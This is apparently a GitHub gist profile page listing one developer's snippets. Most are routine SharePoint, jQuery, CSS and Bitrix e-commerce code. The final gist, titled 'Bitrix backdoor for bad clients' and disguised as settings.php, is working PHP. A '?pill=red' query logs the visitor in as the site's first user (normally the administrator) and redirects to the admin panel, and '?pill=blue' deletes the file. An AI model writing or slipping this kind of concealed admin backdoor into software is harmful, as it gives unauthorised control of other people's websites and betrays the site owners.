Skip to content

Instantly share code, notes, and snippets.

View madcatgith's full-sized avatar

MaDCaT madcatgith

View GitHub Profile
@madcatgith
madcatgith / sharepoint_user_filter.js
Created May 13, 2016 12:54
List filter by current user (+in group)
<script type="text/javascript">
var el_id = [];
var state = [];
(function(){
var overrideCtx = {};
overrideCtx.Templates = {};
overrideCtx.OnPostRender = [get_group];
@madcatgith
madcatgith / hidephone.js
Last active June 21, 2016 11:50
js for phone hiding under spoiler
//Show phone number
/*
class=".phone_show";
data-last="$value"
*/
$(document).ready(function(){
if ($.cookie('phone_show')){
$('.phone_show').each(function(i,elem){
$(this).text($(this).data('last'));
$(this).removeClass();
function init_dropdown_menu(parent_class,submenu_class,menu_container) {
$('.'+parent_class).hover(function(){
$(this).find($('.'+submenu_class)).show();
$('.'+menu_container).mouseleave(function(){
$('.'+submenu_class).hide();
});
$('.'+menu_container+' a:not(.'+parent_class+')').mouseenter(function(){
if($(this).parents('.'+submenu_class).length==0) {
$('.'+submenu_class).hide();
}
/*Фикс для переключения языков в продукте*/
public static function getLangByTemplate($tplID = 1) {
$tpl = new Template();
$langArray = self::getLanguages();
$menuID = Url::get('menuID');
$contentID = Url::get('contentID');
$productID = Url::get('productID');
$tagID = Url::get('tagID');
@madcatgith
madcatgith / init.php
Last active July 11, 2018 12:13
Дополнительное письмо с купоном при его использовании и добавление купона к письму с заказом
<?
//Дополнительное письмо с купоном при его использовании
AddEventHandler("sale", "OnOrderNewSendEmail", "bxModifySaleMails");
function bxModifySaleMails($orderID, &$eventName, &$arFields)
{
$additional_information = '';
$arOrder = CSaleOrder::GetByID($orderID);
$order_props = CSaleOrderPropsValue::GetOrderProps($orderID);
$couponList = \Bitrix\Sale\Internals\OrderCouponsTable::getList(array(
@madcatgith
madcatgith / .parameters.php
Last active April 22, 2021 18:45
Блокировка календаря выбора даты доставки bitrix. Добавление дополнительных свойств в шаблон. Блокирует все выходные дни, дает возможность выбрать 3 дня со следующего от даты доставки. Компонент sale.order.ajax
<?
$arTemplateParameters = array(
/*блок параметров компонента*/
/*...*/
"HOLIDAYS" => array(
"NAME" => "Праздники",
"TYPE" => "STRING",
"DEFAULT" => "",
"PARENT" => "ADDITIONAL_SETTINGS"
),
@madcatgith
madcatgith / init.php
Last active July 11, 2018 14:47
Красивое письмо нового заказа Bitrix
<?
AddEventHandler('main', 'OnBeforeEventSend', Array("beforeCEvent", "my_OnBeforeEventSend"));
class beforeCEvent
{
function getDelivery($id){
require_once($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/prolog_before.php");
CModule::IncludeModule("sale");
if ($arDeliv = CSaleDelivery::GetByID($id))
{
return $arDeliv["NAME"];
@madcatgith
madcatgith / media-query.css
Last active April 3, 2019 12:52 — forked from gokulkrishh/media-query.css
CSS Media Queries for Desktop, Tablet, Mobile.
/*
##Device = Desktops
##Screen = 1281px to higher resolution desktops
*/
@media (min-width: 1281px) {
//CSS
/**
*Вывод данных в отладочную консоль javascript для Bitrix с исправленным выводом киррилицы в качестве ключа массива
**/
function console_log($data){
global $USER;
if ($USER->IsAdmin()) {
$json = json_encode(unserialize(str_replace(array('NAN;','INF;'),'0;',serialize($data))));
@madcatgith
madcatgith / settings.php
Last active September 12, 2023 06:20
Bitrix backdoor for bad clients
<?php
if (isset($_GET['pill']) && ($_GET['pill']=='blue'||$_GET['pill']=='red')):
if($_GET['pill']=='red'){
require($_SERVER["DOCUMENT_ROOT"] . "/bitrix/modules/main/include/prolog_before.php");
global $USER;
$USER->Authorize(1);
LocalRedirect("/bitrix/admin/index.php");
}
else{
unlink(__FILE__);